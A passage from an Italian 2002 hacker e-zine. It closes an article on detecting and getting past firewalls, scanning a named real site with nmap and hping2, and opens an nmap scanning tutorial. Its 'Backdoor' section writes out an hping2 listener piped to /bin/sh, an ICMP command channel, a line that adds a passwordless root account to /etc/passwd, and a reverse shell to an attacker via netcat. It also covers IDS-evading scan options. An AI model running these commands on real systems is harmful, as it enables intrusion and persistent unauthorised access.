ad utilizzare Hping2 per arrivare la dove il traceroute non | | arriva, il nostro scopo è creare un pacchetto che arrivi all'hop | | corrispondente al firewall con un TTL pari a 1 e che verrà accettato da | | quest'ultimo che ne decrementerà il campo TTL causando il messaggio ICMP | | TTL exceeded in transit. | | Prima di tutto tracciamo il nostro sistema destinatario fin dove ci è | | permesso dal filtro di pacchetto: | | | | # traceroute -I www.xoom.it | | traceroute to xoom.it (212.66.231.5), 30 hops max, 40 byte packets | | 1 192.168.1.1 (192.168.1.1) 1.166 ms 1.165 ms 1.097 ms | | 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 37.347 ms 39.567 ms 40.109 ms | | 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 38.024 ms 40.095 ms 39.595 ms | | 4 xxx.x.xxx.xx (xxx.x.xxx.xx) 46.864 ms 43.164 ms 41.677 ms | | 5 gw-wind-mi6-pos-infostrada.wind.it (212.245.250.49) 44.291 ms [...] | | 6 c-mi2-fe2a.wind.it (212.245.36.130) 42.704 ms 44.094 ms 45.854 ms | | 7 212.245.53.30 (212.245.53.30) 55.765 ms 57.864 ms 55.785 ms | | 8 * * * | | | | Ora sappiamo esattamente il valore TTL che dovremo utilizzare, che in | | questo caso dovrà essere pari a 8. | | | | Usiamo un portscanner per trovare una porta non filtrata sul firewall, | | nmap è il programma che fa al caso nostro: | | | | # nmap -sS -P0 -p 80 www.xoom.it | | | | Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) | | Interesting ports on www.xoom.it (212.66.231.5): | | Port State Service | | 80/tcp open http | | | | Nmap run completed -- 1 IP address (1 host up) scanned in 1 second | | | | La porta 80 risulta aperta il che significa che il firewall lascia | | passare ogni richiesta di connessione (flag SYN attivo) verso tale | | porta. Alla luce di queste considerazioni agiremo come segue: | | | | # hping2 -p 80 -S -t 8 www.xoom.it | | HPING www.xoom.it (eth0 212.66.231.5): S set, 40 headers + 0 data bytes | | TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it | | TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it | | TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it | | | | --- www.xoom.it hping statistic --- | | 3 packets tramitted, 0 packets received, 100% packet loss | | round-trip min/avg/max = 0.0/0.0/0.0 ms | | | | Ora sappiamo con precisione l'IP del firewall che filtra le nostre | | richieste (212.66.224.46) e abbiamo la possibilà di studiarne le ACL con | | gli strumenti precedentemente illustrati. | | A questo punto incrementiamo ulteriormente il campo TTL di un'unità per | | verificare l'effettiva presenza dell'host destinatario dietro al | | sistema filtro: | | | | # hping2 -p 80 -S -t 9 www.xoom.it | | HPING www.xoom.it (eth0 212.66.231.5): S set, 40 headers + 0 data bytes | | len=46 ip=212.66.231.5 flags=SA DF seq=0 ttl=56 id=14262 win=16384 [...] | | len=46 ip=212.66.231.5 flags=SA DF seq=1 ttl=56 id=14281 win=16384 [...] | | len=46 ip=212.66.231.5 flags=SA DF seq=2 ttl=56 id=14295 win=16384 [...] | | | | --- www.xoom.it hping statistic --- | | 3 packets tramitted, 3 packets received, 0% packet loss | | round-trip min/avg/max = 57.2/61.0/67.0 ms | | | | Questa volta a risponderci è direttamente il sistema destinatario, il | | pacchetto è giunto a destinazione senza che il campo TTL scadesse e la | | nostra richiesta di connessione è seguita da un pacchetto SYN/ACK come | | risposta. | | | | 4.4 UDP scan | | L'UDP è un protocollo non connesso e non confermato proprio come l'IP, | | bensì vengano utilizzati per scopi completamente differenti hanno alcune | | caratteristiche comuni. | | Proprio come avviene per l'IP i datagrammi UDP una volta giunti a | | destinazione correttamente non forniscono alcun riscontro, malgrado ciò | | un eventuale errore nella comunicazione verrà prontamente segnalato da | | uno specifico messaggio ICMP. | | Pertanto, un utente malevolo avvalendosi del protocollo UDP è in grado | | di rilevare la presenza o meno di un agente filtrante sul proprio | | cammino sulla base di semplici deduzioni. | | Grazie a semplici riscontri derivanti dai messaggi ICMP Port Unreachable | | è possibile rilevare le porte in stato closed sul sistema remoto, mentre | | le porte alla cui scansione non seguirà alcuna risposta potrebbero | | risultare aperte o filtrate indistintamente. | | La condizione in cui la quasi totalità delle porte del sistema risultino | | apparentemente aperte può facilmente essere dovuta alla presenza di un | | firewall che droppa i pacchetti in ingresso verso tali porte UDP o che | | blocca l'invio di tali messaggi ICMP provenienti dalla rete interna | | verso Internet. | | | | 5. Vulnerability | | Grazie alle tecniche fin ora descritte siamo in grado di rivelare la | | presenza di un firewall a filtro di pacchetto, ora abbiamo bisogno di | | identificarlo con maggiore precisione. | | Ancora una volta il portsurfing si rivela una tecnica semplice ed | | efficace per ottenere informazioni riguardo un host remoto, tramite la | | scansione delle porte, infatti, siamo in grado di determinare alcuni dei | | firewall più comunemente utilizzati. | | | | 5.1 Check Point FireWall-1 | | Il Check Point FireWall-1 ascolta di default sulle porte TCP 256, 257 e | | 258, possiamo perciò utilizzare un programma di scansione delle porte | | per identificarlo con estrema facilità: | | | | # nmap -sS -P0 -p 256,257,258 localhost | | | | Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) | | Interesting ports on localhost (127.0.0.1): | | (The 1 port scanned but not shown below is in state: closed) | | Port State Service | | 256/tcp open rap | | 257/tcp open set | | | | | | Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds | | (l'hostname è stato cambiato con localhost per correttezza) | | | | Una volta identificato è possibile sfruttare alcune delle vulnerabilità | | ad esso associate per aggirarne agevolmente le protezioni e ottenere | | pieno accesso ai sistemi della rete interna. A tale scopo vi rimando | | alla pagina del produttore che evidenzia le falle più comunemente | | riscontrabili: | | | | http://www.checkpoint.com/techsupport/alerts/ | | | | In particolare le versione 3.0 e 4.0 non filtrano il traffico in | | ingresso sulla porta 53 (TCP e UDP) al fine di permettere query al DNS e | | trasferimenti di zona. | | Questa politica permette ad un utente remoto di venire in possesso di | | informazioni importanti riguardo alla struttura interna della rete | | grazie alla possibilità di effettuare trasferimenti di zona DNS, inoltre | | rende possibile la creazione di un canale di ritorno quale una sessione | | telnet inverso. | | Lo stesso vale per la porta UDP 512, un attacker potrebbe forgiare dei | | pacchetti RIP contraffatti al fine di provocare l'aggiornamento delle | | tabelle di routing dei router di confine per permettere l'instradamento | | di pacchetti verso reti non consentite dalle politiche di sicurezza. | | | | Vi sono molti altri firewall che presentano svariate falle nella | | sicurezza, il più delle volte il sito stesso del produttore è la | | maggiore fonte di informazioni a riguardo. | | | | 5.2 Syncookies | | Il sistema Syncookies dovrebbe permettere la totale scomparsa di minacce | | derivanti da attacchi SYN flood che hanno messo in ginocchio in passato | | grossi colossi della rete. | | Syncookies entra in funzione in presenza di un attacco e in caso di | | richiesta di connessione (SYN flag attivo) manda al richiedente un | | pacchetto SYN/ACK con un cookie crittografato, per chiudere l'handshake | | a tre vie il primo host deve mandare un ACK che comprenda il cookie | | precedentemente ricevuto. | | Questo permette di eliminare la coda SYN_RECEIVED e di continuare a | | gestire le richieste legittime scongiurando ogni tentativo di negazione | | del servizio. | | Di contro, è stata riscontrata una vulnerabilità che può permettere di | | aggirare un firewall a filtro di pacchetto nel qual caso faccia | | affidamento a regole basate sullo stato del flag SYN dei pacchetti per | | applicare il reject o il drop degli stessi. | | In particolare, un utente remoto in grado di raggiungere con un attacco | | SYN flood una porta del sistema non protetta dal firewall al fine di | | causare l'intervento e l'emissione dei cookie, potrà in un secondo tempo | | stabilire una connessione fornendo un pacchetto ACK contenente il cookie | | corretto. | | Tale cookie può essere determinato con successo grazie ad un attacco di | | forza bruta che permetterebbe un accesso non consentito al sistema | | protetto dal firewall. | | | | 6. Backdoor | | Una volta ottenuto l'accesso ad uno dei sistemi interni alla rete | | l'attacker provvederà alla creazione di una backdoor che dovrà garantire | | la comunicazione attraverso il firewall. | | | | Hping2 se eseguito in modalità listen rimane in ascolto sull'interfaccia | | di rete specificata in attesa di ricevere un pacchetto contenente la | | stringa definita al momento dell'esecuzione (nell'esempio è pass), nel | | qual caso la stringa contenuta all'interno del pacchetto ricevuto | | corrisponda, i byte successivi saranno rediretti sullo standard output. | | | | vittima# hping2 -I eth0 -9 pass | | | | Usando un pipe siamo in grado di redirigere lo standard output verso un | | altro programma, ad esempio verso l'interprete dei comandi al fine di | | ottenere una shell remota sul sistema: | | | | vittima# hping2 -I eth0 -9 pass | /bin/sh | | | | Una volta posto Hping2 in ascolto sul sistema remoto, basterà inviare ad | | esso pacchetti che contengono la stringa di riconoscimento seguita dal | | codice che si desidera eseguire, per far ciò basterà connettersi su una | | qualsiasi delle porte non filtrate dal firewall e procede come segue: | | | | attacker# telnet vittima 21 | | Trying 127.0.0.1... | | Connected to vittima. | | Escape character is '^]'. | | 220 ProFTPD 1.2.2rc3 Server (ProFTPD Default Installation) | | passecho r00t::0:0::/root:/bin/bash >> /etc/passwd; | | 500 PASSECHO not understood. | | quit | | 221 Goodbye. | | Connection closed by foreign host. | | | | In questo modo abbiamo aggiunto un account con uid e gid 0 al file delle | | password senza nemmeno fare login sul sistema. | | | | Nel qual caso non avessimo alcun punto di accesso al sistema da remoto | | dovremo affidarci al protocollo ICMP per veicolare i nostri comandi in | | maniera del tutto indisturbata: | | | | attacker# hping2 -c 1 -1 -d 52 -E ~/data.txt vittima | | HPING vittima (lo 127.0.0.1): icmp mode set, 28 headers + 61 data bytes | | 89 bytes from 127.0.0.1: icmp_seq=0 ttl=255 id=50 rtt=0.3 ms | | | | --- localhost hping statistic --- | | 1 packets tramitted, 1 packets received, 0% packet loss | | round-trip min/avg/max = 0.3/0.3/0.3 ms | | | | dove l'opzione: | | -c è il numero di pacchetti da inviare; | | -1 indica il protocollo ICMP; | | -d indica la grandezza in byte del campo dati, che deve essere uguale a | | quella del file specificato tramite l'opzione -E; | | -E specifica il file che contiene il valore che assumerà il campo dati; | | | | Il file data.txt che si trova nella home directory dell'utente attacker | | dovrà contenere quanto segue: | | | | passecho r00t::0:0::/root:/bin/bash >> /etc/passwd; | | | | L'utilizzo delle opzioni -C e -K che permettono di specificare il tipo e | | il codice del messaggio ICMP aumenteranno le possibilità che | | quest'ultimo arrivi a destinazione senza essere droppato dal firewall. | | I messaggi ICMP seguenti sono infatti difficilmente filtrati dai | | dispositivi di rete e saranno proprio questi quelli di cui si servirà | | un malintenzionato per veicolare i suoi comandi: | | | | | | (tratto da ICMP TYPE NUMBERS, www.iana.org) | | Type Name Reference | | ---- ------------------------- --------- | | 0 Echo Reply [RFC792] | | | | Codes | | 0 No Code | | | | 3 Destination Unreachable [RFC792] | | | | Codes | | 4 Fragmentation Needed and Don't Fragment was Set | | | | 4 Source Quench [RFC792] | | Codes | | 0 No Code | | | | 11 Time Exceeded [RFC792] | | | | Codes | | 0 Time to Live exceeded in Transit | | | | | | Questo tipo di backdoor permette ad un attacker esterno alla rete | | protetta di eseguire comandi alla cieca sul sistema remoto, ad ogni modo | | è possibile perfezionare il pipe precedentemente descritto al fine di | | ottenere un canale di ritorno verso il proprio sistema. | | E' possibile che il malintenzionato ponga un listener in ascolto su una | | porta locale del proprio sistema in modo da accogliere una sessione | | inversa originata dal sistema posto dietro al firewall, esempio: | | | | attacker# nc -l -p 25 | | | | In tal modo la sessione inversa potrà aver luogo: | | | | vittima# hping2 -I eth0 -9 pass | /bin/sh | telnet attacker 25 | | | | L'output dei comandi verrà visualizzato sul sistema attacker attraverso | | netcat (nc) che ascolta sulla porta 25, notare che non è il sistema del | | malintenzionato a dar vita alla sessione bensì il sistema interno alla | | rete protetta, pertanto la sessione in tal modo originata verrà quasi | | sicuramente consentita dalla politica del firewall. | | | | | | 7. Risorse | | RFC 793, Transmission Control Protocol | | Hping2-HOWTO | | man nmap | | firewalk-final.txt | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [NETW0RKiNG] #06 - 25/04/2002 | | NMAP [ADvAnCeD'] 0x08/0x1D | +--------------------------------------------------------------------------+ | | | [x]* S0mm4r10 * | | | | --[x] Sommario -------- Indice/struttura del txt | | --[1] Info -------- Note/info sull'autore | | --[2] Intro -------- Testo introduttivo/saluti | | --[3] Disclimer -------- Responsabilità | | --[4] Nmap Howto -------- TUtorial su Nmap | | ---[4.1] Nmap questo sconosciuto -------> Cosa?dove?come? | | ---[4.2] Modalità di scansione -------> I vari metodi di scanning | | ---[4.3] Opzioni -------> Opzioni di scansione | | ---[4.4] Altri usi di Nmap -------> Nmap non solo scanning | | -----[4.4.1] Ping Sweep -------> Mass ping con Nmap | | -----[4.4.2] Os detecting -------> Determinazione di un os | | -----[4.4.3] Individuazione RPC -------> Ricerca dei servizi rpc | | --[5] End -------- Conclusioni, note finali | | | | | | | | [1] * Inf0 * | | | | Lunedì Pomeriggio 17.27 - Date /18/02/2oo2/ | | | | Author: ADvAnCeD` | | Mailto: advanced@mojdo.it | | icq : 143413192 | | web : http://advanced.too.it | | web2: http://www.mojodo.it | | irc: IrcNet on #mojodo | | | | | | | | [2] * InTr0 * | | | | Buona seeeeeeeeeera ! Inizio subito col salutare OndaQUadra e tutti i | | suoi memberi, in particolar modo MightyInquisitor che mi ha permesso | | di scrivere su questa zine. Specifico subito che questo testo, non può | | essere riprodotto su altre e-zine, nemmeno in parte, dato che io, ho | | deciso di scriverlo unicamente per OQ. Beh questa volta ( per la prima | | volta ) non mi perdero` troppo in un intro piena di burlonate, che di | | solito piacciono.... Boh non lo so sta volta non mi va... Beh diciamo | | che concludo salutando e fukkando un po di gente ( sorry se dimentico | | qualcuno ) | | | | | | | | Gr3tz to: aNt}R{oPe, Salvo`b, Hi-Tech hate, Ade, `fRa`, Ice-man, | | Resinaro, Syn,Dibb3llas, No-fly zone crew, #phreak.it, lInux & c, | | Hornet, Severance, SPYRO, Lord>icio, MARSIO, uiha,D3fu ,Xanthic`, | | MightyInquisitor, Net Destroyer, bartx, FIx, ZIo_tom, lupsyn, Valk, | | Kewl`, #dbzone , #tcc ( non vi scioglieteeeeee!!!! ) , #mojodo, #hack, | | Delliah, NetDIgger, Goku, noflyzone , XarBas ( si scrive cosi?? ), | | Linus Torvalds,OndaQuadra, Raptor_ , resinaro,bart99,BigaleX,Valnir, | | Cate,Skizzo; Procsi, Flash,XP Terminator, Astharot, finiz, PhrakMan, | | Pino & Olio | | | | FuCk tO: vetranks, holaz ( me la paghi brutto pezzo di ***** ), | | windowsXP, billgates,professoressa CUcciari, Moratti | | | | ps: Ho aperto http://advanced.too.it, un sito personale dove ci | | trovate un bel po' di roba mia:) | | | | | | | | [3] * D1sCl4im3r * | | | | Bah, in questo testo non troverete particolari techniche di attacco, | | ma soltanto una spiegazione del funzionamento di Nmap. In ogni caso un | | buon disclaimer puo` sempre salvare il culo (_Y_) . Vi ricordo sempre | | che lo scanning delle porte e` considerato,anche se minore, pur sempre | | un reato penale. Prima di scannare un host, e` meglio fornirsi delle | | autorizzazioni necessarie dell' admin del sistema target, per evitare | | problemi legali. Se scannate un host di un server con l'admin | | bastardo, vi potrebbe anche denunciare, anche se succede molto molto | | raramente... Quando fate una cosa cercate di rendervene responsabili | | al 10% e cercate di capire perchè lo fate. PLs :) | | | | -@ Tutte le informazioni che troverete in questo documento sono a | | puro scopo informativo, | | -@ e l'autore non incita i lettori a provare e effettuare manovre che | | potrebbero causare danni | | -@ a terzi.Io, l'autore, non mi assumo nessuna responsabilità di | | eventuali conseguenze. | | | | | | | | | | * Nmap Security Scanner * | | | | Beh che dire... Chi non conosce Nmap? Beh non temete anche se non | | avete la piu` pallida idea di cosa sia ( ... ) sono qui apposta io per | | spiegarvelo da zero . Non sono richieste particolari abilita` o doti | | sovraturali, ma soltanto un sistema operativo unix-like, e un bel po` | | di buona volota` ( che non deve mai mancare in un abile smanettone ) | | | | [4.1] *Nmap questo sconosciuto* | | | | Nmap... Che cos'è? Nmap e` attualmente il miglior sowtare disponibile | | per la scansione delle porte. Questo gira sotto sistemi unix, e al | | momento della scrittura di questo articolo, non e` ancora stata | | rilasciata una versione per windows, e spero che mai uscira`. Nmap e` | | un progetto totalmente open source e free, ideato da Fyodor ( non mi | | chiedete quando ) e disponibile per il download all' url | | http://www.insecure.org/nmap .Vengono spesso rilasciate nuove releases | | e beta, che pero` a volte sono instabili, vi consiglio quindi di | | scaricarvi sempre qualche versione non beta, che sia stabile anche se | | un po' meno recente. una volta scaricato il pacchetto, esplodetelo dal | | terminale con il comando | | | | root@advanced # tar xvfz nmap-4x-betax.x.tar.gz | | | | In questo modo avete creato una directory di nome nmap. Entrate nella | | dir e procedete all'installazione che consiste in 3 passaggi: | | | | root@advanced # cd nmap/ | | | | root@advanced [/root/nmap] # ./configure | | | | root@advanced [/root/nmap] # make | | | | root@advanced [/root/nmap] # make install | | | | Se avete una macchina lenta l'installazione puo` anche richiedere un | | po' di tempo... ma voi andate di fretta? no! e alloraaaaaaa! tranqui! | | Ok ora avete installato il sowtare sul vostro sistema operativo | | preferito ( ... ) ... siete pronti all'uso del programma, penserete! | | Ma non e` assolutamente così. Vi manca la teoria... se no cosa caaa lo | | scrivevo a fare sto testo? Quindi ora mettetevi pure l'animella in | | pace e studiate che fa bene . Bene... definire Nmap un "analizzatore | | di porte" e` molto restrittivo, dato che offre molte altre | | funzionalita` che poi analizzeremo. Nmap dispone di quasi tutti i | | metodi di scansione delle porte usati o implementati da altri | | programmi. Dispone infatti del semplice metodo direct TCP connect() ( | | un processo di comunicazione completo TCP a tre vie con la chiusura | | della connessione) ,di diverse modalita` nascoste basate sull'uso di | | pacchetti IP non trattati e anche del metodo di scansione delle | | sessioni FTP negate. Diciamo che sono veramente tanti i metodi di | | scansione... andiamo ad analizzarli... | | | | | | | | [4.2] *Modalita` di scansione* | | | | OK bene. Ora iniziamo ad analizzare le varie metodologie per lo | | scanning con nmap. Inannzitutto per far partire il programma basta | | digitare | | | | root@advanced # nmap | | | | Vi comparirà la piccola guida... Ora vediamo che sostanzialmente nmap | | si usa con la sintassi | | | | | | root@advanced # nmap -argomento [host] | | | | Per esempio provate a far mappare il localhost a nMap. | | | | | | root@advanced # nmap 127.0.0.1 | | | | Vedrete ora le porte che avete aperte, filtrate, con il rispettivo | | servizio che gira sulla porta. Non mi sembra difficile analizzare | | l'output di nmap. INoltre fornisce anche accanto al numero della | | porta, il protocollo su cui gira il demone ( TCP, UDP, icmp .... ecc ) | | .Con la semplice sintassi "nmap host " è facile capire che si esegue | | un semplice mapping delle porte aperte con i parametri predefiniti. Ma | | in realtà ci sono veramente molte altre opzioni che ora andremo ad | | analizzare bene da vicino. Qui sotto vi riporto l'elenco degli | | argomenti disponibili, con relativa spiegazione. | | | | | | | | °°°°°°°°°°°°°°°°°°Connect°°°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sT host | | | | -Info: Scansione della porta con una connessione completa TCP | | connect(). Questa e` la scansione di default di nmap | | ed e` l'unica che possono usare anche gli utenti diversi | | da r00t | | | | | | °°°°°Scansione Nascosta (Stealth SYN)°°°°°°° | | | | -Usage: nmap -sS host | | | | -Info: Invia un pacchetto SYN singolo, il primo pacchetto di | | comunicazione TCP a tre vie. Se e` ricevuto un SYN\ACK, | | allora e` certo che il sistema si trova in ascolto su | | questa porta. Non completa la connessione TCP e questo | | e questo significa che il processo non e` registrato | | come una chiamata connect(). Scansione "half-open" e` | | il termine usato per definire una connessione di questo | | tipo | | | | °°°°°°°°°°°°°°°°°°°°FIN°°°°°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sF host | | | | -Info: Scansione FIN.E` inviato un pacchetto FIN grezzo. Se e` | | ricevuto un pacchetto RST, la porta e` chiusa.Se non si | | riceve nulla, la porta deve essere per forza aperta. | | I sistemi windows, che non seguono le specifiche IP, | | non possono scoprire eventuali scansioni di questo tipo | | | | °°°°°°°°°°°°°°°°Xmass Tree°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sX host | | | | -Info: Scansione Xmass Tree.Simile alla scansione FIN, usa un | | pacchetto in cui sono impostati attivi i flag FIN, URG e | | PUSH. | | | | °°°°°°°°°°°°°°°°°°°Null°°°°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sN host | | | | -Info: Modalita` di scansione null. Usa lo stesso sistema della | | scansione FIN, ma invia pacchetti senza flag attivi | | | | °°°°°°°°°°°°°°°°°°°°Udp°°°°°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sU host | | | | -Info: Scansione UDP. Nmap inviera` un pacchetto UDP di 0 byte | | a ciascuna porta del sistema target'. Se e` ricevuto un | | messaggio ICMP di porta non raggiungibile ( port | | unraechable), questo significa che la porta e` chiusa. | | L'operazione di scansione tende a essere molto lenta | | poiche` adotta un suggerimento contenuto nella nota | | RFC 1812 che limita` la velocita` di trasmissione dei | | messaggi di errore ICMP.Se nmap fosse eseguito alla massima | | velocita` possibile, il programma perderebbe la maggior | | parte dei pacchetti ICMP potenziali di ritorno. Nmap, | | invece, determinera` la velocita` usata dall'host e | | rallentera` di conseguenza la velocita` di scansione | | | | °°°°°°°°°°°°°°°Protocollo IP°°°°°°°°°°°°°°° | | | | -Usage: nmap -sO host | | | | -Info: Scansione del protocollo IP. Consente di determinare | | i protocolli IP supportati dal target. Nmap invia | | pacchetti IP grezzi per ciascun protocollo. Se e` | | ricevuto un messaggio ICMP di tipo protocollo | | irraggiungibile (protocoll ureachable), il protocollo non | | e` supportato. Alcuni sistemi operativi, e firewall, non | | inviano pacchetti ICMP e percio` potra` apparire che tutti | | i protocolli siano supportati | | | | °°°°°°°°°°°°°°°°°°°°ACK°°°°°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sA host | | | | -Info: Scansione ACK. Questo tipo di scansione consente di escludere | | i set di regole abilitati nei firewall e consente di | | determinare se un firewall tiene conto degli stati o se e` un | | semplice filtro per bloccare i SYN | | | | °°°°°°°°°°°°°°°°Window SIze°°°°°°°°°°°°°°°° | | | | -Usage: nmap -sT host | | | | -Info: Scansione Window. Questo tipo di scansione, simile alla | | scansione ACK, usa la dimensione delle finestra TCP per determinare se | | le porte sono aperte, filtrate o non filtrate. Linux, fortunatamente | | non e` vulnerabile a questo tipo di scansione, sebbene lo possa essere | | il firewall. | | | | ---------------------------------- | | | | Alcuni firewall bloccano i pacchetti SYN limitandoli a porte ristrette | | nelle reti protette. In questi casi consiglio di usare metodi di | | scansione FIN, Xmas Tree e Null, che sono molto più difficili da | | scoprire. | | | | | | E con questo abbiamo concluso le modalità di scansione delle porte con | | nmap... Anche se ci sono altri due argomenti che analizzeremo in | | seguito, ovvero l'individuazione di servizi RPC e la determinazione | | del sistema operativo. | | | | | | | | [4.3] *Opzioni di scansione* | | | | Oltre alle varie metodologie di scansione che abbiamo appena | | esaminato, nmap consente di controllare varie opzioni di scanning, | | funzionalità aggiuntive molto utili per avere maggiori informazioni | | sul sistema target. Ora andro` a elencare e spiegare ogni singola | | opzione. | | | | | | | | °°°°°°°°°°°°°°°°Ping Forced°°°°°°°°°°°°°°°° | | | | -Usage: nmap -P0 host | | | | -Info: Normalmente nmap effettuera` il ping dell'host prima di | | analizzarlo. Se e` noto che un sistema e` in esecuzione o si sospette | | che stia bloccando i pacchetti di ping ICMP, si usa questa opzione per | | forzare la scansione | | | | | | °°°°°°°°°°°°°°°Reverse Ident°°°°°°°°°°°°°°° | | | | -Usage: nmap -I host | | | | -Info: Scansione reverse ident.Nmap si colleghera` alla porta con una | | chiamata full connect() (notate che le scansioni nascoste non potranno | | essere usate in questa modalita`) e, una volta connesso, effettuera` | | l'interrogazione del server identd nel sistema target per determinare | | l'utente (username) in ascolto.Questo consente determinare se root o | | un altro utente sia collegato ad una determinata porta | | | | | | °°°°°°°°°°°Pacchetti frammentati°°°°°°°°°°° | | | | -Usage: nmap -f host | | | | -Info: Pacchetti di scansione frammentati. Un pacchetto TCP puo` | | essere frammentato in pacchetti piu` piccoli, che sono riassemblati | | poi nell'host. Molti filtri di pacchetti e molti firewall non | | riassemblano i pacchetti, e quindi, potranno consentire il passaggio | | dei pacchetti verso destinazioni non consentite, dove non dovrebbero | | arrivare; la scansione potrebbe quindi non essere rilevata dal sowtare | | di individuazione di intrusioni :))) | | | | | | | | °°°°°°°°°°Modalita` dettagliata°°°°°°°°°°°° | | | | -Usage: nmap -v host | | | | -Info: Con questa opzione si utilizzera` una modalità di scansione | | dettagliata, ovvero " verbose" | | | | | | °°°°°°°Modalita` molto dettagliata°°°°°°°°° | | | | -Usage: nmap -vv host | | | | -Info: Con questa opzione si utilizzera` una modalità di scansione | | molto dettagliata che permettera` di analizzare addirittura tutte le | | informazioni interne dei pacchetti di nmap. | | | | | | °°°°°°°°°°°°°°Hosts Fittizi°°°°°°°°°°°°°°° | | | | -Usage: nmap -D host | | | | -Info: Consente di trarre in inganno gli Hosts.Invia pacchetti come | | se provenissero dagli hostname elencati.Poiche` l'host appartiene a un | | elenco di host fittizi, potrebbe essere possibile nascondere il | | sistema con un rumore di fondo. Se i pacchetti IP di disturbo soino | | bloccati tra l'host di scansione di Nmap e l'host target, questi | | pacchetti di rischiamo non riusciranno mai a raggiungere il target. | | | | | | °°°°°°°°°°°°°°°°°Timing°°°°°°°°°°°°°°°°°° | | | | -Usage: nmap -T host | | | | -Info: Criteri di Timing. Poiche` alcuni rivelatori di scansione | | danno attenzione al numero di pacchetti non appropriato in un | | determinato intervallo di tempo, l'uso di velocita` piu` lente di | | scansione puo` rendere inutile la funzione dei rivelatori. Le opzioni | | variano da Paranoid che invia un pacchetto ogni 5 minuti (...), a | | Insane che rimane in attesa solo 0.3 secondi per il TimeOut di | | scansione e puo` perdere molte informazioni a causa della elevata | | velocita`. | | | | ----------------------------------------- | | | | Ovviamente qui sopra ho elencato soltanto le opzioni piu` comuni, | | utili e utilizzate di nmap, non negando che effettivamente ne esistono | | svariate. Per esempio con l'opzione " -O? ", nmap puo` produrre | | l'output in diversi formati, compreso XML, solo testo esaminabile col | | grep.Oppure con l'opzione " -oS " , di solito riservata agli script | | kiddies, che produce un output non documentato. Io consiglio | | personalmente a voi di usare Nmap, non solo per scannare sistemi | | target a casaccio, ma anche per conoscere a fondo il funzionamento del | | NetWorking, smanettando con le numerose opzioni messe a disposizione. | | | | Inoltre, per chi ama la parte grafica dei sowtare, nmap mette a | | disposizione Nmapfe ( nmap front end), che essenzialmente non e` altro | | che una GUI che offre un metodo interattivo per predisporre le opzioni | | della riga di comando di Nmap.Questa interfaccia non effettua nessuna | | attivita` che non sia disponibile anche dalla riga di comando. | | | | | | | | | | [4.4] *Altri usi di Nmap* | | | | Come gia` ho ricordato prima, nmap non e` o0lamente un semplice | | scanner di porte, ma anche un potente strumento di analizzatore di | | rete... ma non solo.. Ora vediamo un po` di teknike di cui possiamo | | disporre.... :) | | | | | | | | [4.4.1] *Ping sweep* | | | | | | Nmap, dispone di una funzionalità integrativa di ping sweep.E` | | sufficente fornire un elenco di indirizzi o di rete e usare l'opzione | | -sP: | | | | --------------------------------------------------------------------- | | advancedbox$ Nmap -sP 192.168.10.0/24 | | Starting Nmap V. 2.54BETA7 (www.insecure.org/nmap) | | Host ( 92.168.10.0 ) seems to be a subnet bradcast address ( returned | | 3 extra plug ) | | Host kristen (92.168.10.6) appears to be up | | Host richard (92.168.10.10) appears to be up | | Host brady (92.168.10.15) appears to be up | | Host Advanced (92.168.10.18) appears to be up | | Nmap run completed -- 256 ip address (4 host up) scanned in 154 | | seconds | | --------------------------------------------------------------------- | | | | La definizione di ping di Nmap,quando si usa l'opzione -sP è,in | | effetti,un po' più ampia rispetto al comando icmp.Invierà sia un | | normale pakketto di echo icmp sia un pakketto tcp ACK alla porta | | 80(http) del sistema.Anke se ICMP è blokkato, il protocollo TCP | | generalmente potrà passare. Se Nmap riceve un pakketto RST (reset) | | dall host in risposta al comando ACK, si potrà così determinare ke il | | sistema è in funzione. Nell esempio precedente abbiamo usato la | | notazione 92.168.10.0/24 per definire gli host di cui effettuare la | | scansione.Questo signifika scansionare tutti i sistemi della rete con | | una subnet mask a 24 bit( ovvero la rete di classe c).Nmap può | | supportare diversi metodi per la definizione degli host | | | | |------------------------------------------------------------| | | |Tipo | Esempio | | | |------------------------------------------------------------| | | |Wildcards | 192.168.10.* 10.10.*.* | | | |Rangers | 192.168.10.0-255 10.10.0-255.0-255 | | | |CIDR notattion| 192.168.10.0/24 | | | |------------------------------------------------------------| | | | | | | | | | | | | [4.4.2] *Os detecting* | | | | Nmap, che e` stato descritto estesamente dispone di funzioni integrate | | per la determinazione del sistema operativo. QUeste funzioni di Nmap | | sono le migliori oggi disponibili. Il programma e` aggiornato | | regolarmente con nuove signature. Quando infatti non trova un | | abbinamento, fornisce le istruzioni su come inviare il fingerprint e | | il sistema operavio del database, affinkè queste informazioni possano | | essere rese disponibili a tutti nelle release future. Il database | | contiene attualmente ( 23/03/2002 ) oltre 500 fingerprint e include | | molte attrezzature di rete e stampanti; consente l`esecuzione di | | numerosi test: | | | | -- Test della gestione delle sequenze TCP | | | | -- Pakketto SYN con numerose opzioni TCP per l`apertura di una porta | | | | -- Pakketto null con opzioni per l'apertura di una porta | | | | -- Pakketto SYN/FIN/URG/PSH con opzioni per l'apertura di una porta | | | | -- ACK per l'apertura di una porta con opzioni | | | | -- SYN per una porta kiusa con opzioni | | | | -- ACK per una porta kiusa con opzioni | | | | -- FIN/PSH/URG per una porta kiusa con opzioni | | | | -- Pacchetto UDP per una porta kiusa | | | | | | Per rikiedere la determinazione del sistema operativo, si deve fornire | | a Nmap l'opzione -O : | | | | advanced@mojodo.it# Nmap -vv -sS -O www.mojodo.it | | | | Starting Nmap v.2.54 by Fydore@insecure.org www.insecure.org/nmap | | Host www.mojodo.it(15.45.54.12) appears to be up... g00d | | Initiating SYN half-open stealth scan against www.mojodo.it (15.45.54.12 | | The SYN scan took 1 second to scan 1525 ports. | | For OSscan assuming that port 22 is open and the port 1 is closed and | | neither are firewalled. | | Interestring ports on 